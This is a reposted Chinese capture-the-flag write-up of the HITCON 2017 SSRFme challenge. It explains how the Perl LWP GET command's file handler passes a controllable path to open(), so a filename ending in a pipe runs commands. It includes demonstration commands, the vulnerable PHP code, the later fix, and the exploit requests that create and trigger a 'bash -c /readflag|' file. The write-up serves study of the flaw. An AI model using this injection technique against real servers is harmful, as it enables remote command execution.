打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
perl脚本中GET命令执行漏洞([HITCON 2017]SSRFme)

GET命令执行漏洞

思路来自于HITCON2017中的ssrfme,考点是GET的任意命令执行。代码很简单,调用命令GET来执行从url获取的参数, 然后按照filename新建文件,写入GET的结果。
我不知道关于这个问题最早是什么时候爆出的了,但确实已经很多年了。

root@iZ285ei82c1Z:~/test# cat a.pl open(FD, '|id');print <FD>;root@iZ285ei82c1Z:~/test# perl a.pl uid=0(root) gid=0(root) groups=0(root)root@iZ285ei82c1Z:~/test# cat test.pl open(FD, 'whoami|');print <FD>;root@iZ285ei82c1Z:~/test# perl test.pl moxiaoxi

而perl里的GET函数底层就是调用了open处理

file.pm84: opendir(D, $path) or132:    open(F, $path) or return new

perl脚本中GET命令执行漏洞:(前提是文档需要存在)

touch 'id|'GET ’file:id|' uid=0(root) gid=0(root) groups=0(root)

open函数本身还支持file协议

root@iZ285ei82c1Z:~/test# cat /usr/share/perl5/LWP.pm...=head2 File Request
The library supports GET and HEAD methods for file requests.  The'If-Modified-Since' header is supported.  All other headers are
ignored.  The I<host> component of the file URL must be empty or set
to 'localhost'.  Any other I<host> value will be treated as an error.Directories are always converted to an HTML document.  For normal
files, the 'Content-Type' and 'Content-Encoding' in the response are
guessed based on the file suffix.Example:
  $req = HTTP::Request->new(GET => 'file:/etc/passwd');...

在perl下,如果open的第二个参数(path)可控,我们就能进行任意代码执行。综合看起来像是一个把文件名拼接入命令导致的命令执行。
而GET对协议处理部分调用的是 /usr/share/perl5/LWP/Protocol下的各个pm模块,通过查询可以发现在file.pm中,path参数是完全可控的。
源码如下:

...# URL OK, look at filemy $path = $url->file;# test file exists and is readableunless (-e $path) {return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND, 'File `$path' does not exist');}...# read the fileif ($method ne 'HEAD') {open(F, $path) or return new HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR, 'Cannot read file '$path': $!');...

这里多了一个限制条件,就是file.pm会先判断文件是否存在。若存在,才会触发最终的代码执行。

➜  test GET 'file:id|'➜  test touch 'id|'➜  test GET 'file:id|'uid=1000(moxiaoxi) gid=1000(moxiaoxi) groups=1000(moxiaoxi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

我们可以测试一下

root@iZ285ei82c1Z:~/test# GET 'file:id|'uid=0(root) gid=0(root) groups=0(root)

成功执行命令了,那么思路就清楚了,我们就可以通过传入 命令文件名命令来执行。

[HITCON 2017]SSRFme

已进入题目便给出了php代码:

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);  // explode(separator,string)函数把以separator为分隔字符串将字符串打散为数组。
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER['REMOTE_ADDR'];

    $sandbox = 'sandbox/' . md5('orange' . $_SERVER['REMOTE_ADDR']);   // “REMOTE_ADDR”为正在浏览当前页面用户的 IP 地址。 
    @mkdir($sandbox);
    @chdir($sandbox);     // 改变当前的目录到$sandbox

    $data = shell_exec('GET ' . escapeshellarg($_GET['url']));     // escapeshellarg()把字符串转码为可以在 shell 命令里使用的参数
    $info = pathinfo($_GET['filename']);  // pathinfo() 函数以数组的形式返回文件路径的信息。
    $dir  = str_replace('.', '', basename($info['dirname']));   // basename() 函数返回路径中的文件名部分。
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info['basename']), $data);
    highlight_file(__FILE__);
    // 以上代码大致为,调用GET(git)命令来执行从url获取的参数,从该url获取内容, 然后按照filename新建文件,写入git到的结果。

escapeshellarg($arg) 把字符串转码为可以在 shell命令函数里使用的参数;将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()、system()、执行运算符反引号(``) 。 arg需要被转码的参数。 例子:

<?phpsystem('ls '.escapeshellarg($dir)); ?>

pathinfo() 返回一个关联数组包含有 path 的信息。 包括以下的数组元素:

  • [dirname] //路径名

  • [basename] //文件名

  • [extension] //扩展名

例子 1

<?php print_r(pathinfo('/testweb/test.txt')); ?>

输出:

Array ( [dirname] => /testweb [basename] => test.txt[extension] => txt )

根据源码可以发现php会对传过去的参数用escapeshellarg函数过滤。先创建一个目录sandbox/md5(orange+ip),然后执行GIT $_GET['url'],然后会创建文件夹,并将执行GIT $_GET['url']后的结果放在该文件夹下面filename传过去的文件中。
先来看一下REMOTE_ADDR,REMOTE_ADDR为正在浏览当前页面用户的 IP 地址,题目已给出就不用查了,就是:


则目录$sandbox为sandbox/md5(orange111.73.46.229:80)即:sandbox/864300xxxxxxxxxxcc4523ef49c50223

方法一:

GET ./可以查看当前路径,GET …/可以查看上一级路径,于是:
先:http://0ba28389-bff6-48a1-952c-cfd44f67bfb3.node3.buuoj.cn/?url=../../../../../../&filename=aaa?url=/&filename=aaa
然后访问aaa:
http://0ba28389-bff6-48a1-952c-cfd44f67bfb3.node3.buuoj.cn/sandbox/864300xxxxxxxxxxcc4523ef49c50223/aaa,得如下页面:


可以发现有readflag和flag,于是猜想执行readflag flag可以得到flag,接下来就是如何构造并执行了。

readflag是一个+了s权限的一个读flag的程序。

利用perl的open命令有可能会导致命令执行

在处理file协议的perl5/LWP/Protocol/file.pm的130行,如下:

#第47行
    # test file exists and is readable
    unless (-e $path) {
    return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
                  'File `$path' does not exist');
    }
    unless (-r _) {
    return HTTP::Response->new( &HTTP::Status::RC_FORBIDDEN,
                  'User does not have read permission');
    }...#第127行
    # read the file
    if ($method ne 'HEAD') {
    open(F, $path) or return new
        HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
               'Cannot read file '$path': $!');
    binmode(F);
    $response =  $self->collect($arg, $response, sub {
        my $content = '';
        my $bytes = sysread(F, $content, $size);
        return \$content if $bytes > 0;
        return \ '';
    });
    close(F);
    }...

ubuntu18.04 已经修复此漏洞
修复的方式是在下面第三行代码中,open中间加了个参数’<’

# read the file if ($method ne 'HEAD') { open(my $fh, '<' , $path) or return new //open 函数以只读的方式(<)打开文件 HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR, 'Cannot read file '$path': $!'); binmode($fh); $response = $self->collect($arg, $response, sub { my $content = ''; my $bytes = sysread($fh, $content, $size); return \$content if $bytes > 0; return \ ''; }); close($fh); }

利用bash -c 'cmd string'来执行命令执行readflag。(不用bash -c可以直接/readflag读取flag)

首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件:
?url=&filename=bash -c /readflag| 先新建一个名为“bash -c /readflag|”的文件,用于之后的命令执行
?url=file:bash -c /readflag|&filename=aaa 再利用GET执行bash -c /readflag保存到111文件
访问sandbox/md5/aaa(得到flag)

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
文件打包压缩
Perl CGI编程安全点滴
DOS命令大全二
批处理中Explorer的用法
Perl画图:SVG基础篇(附资料下载)
图片上传 测试
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服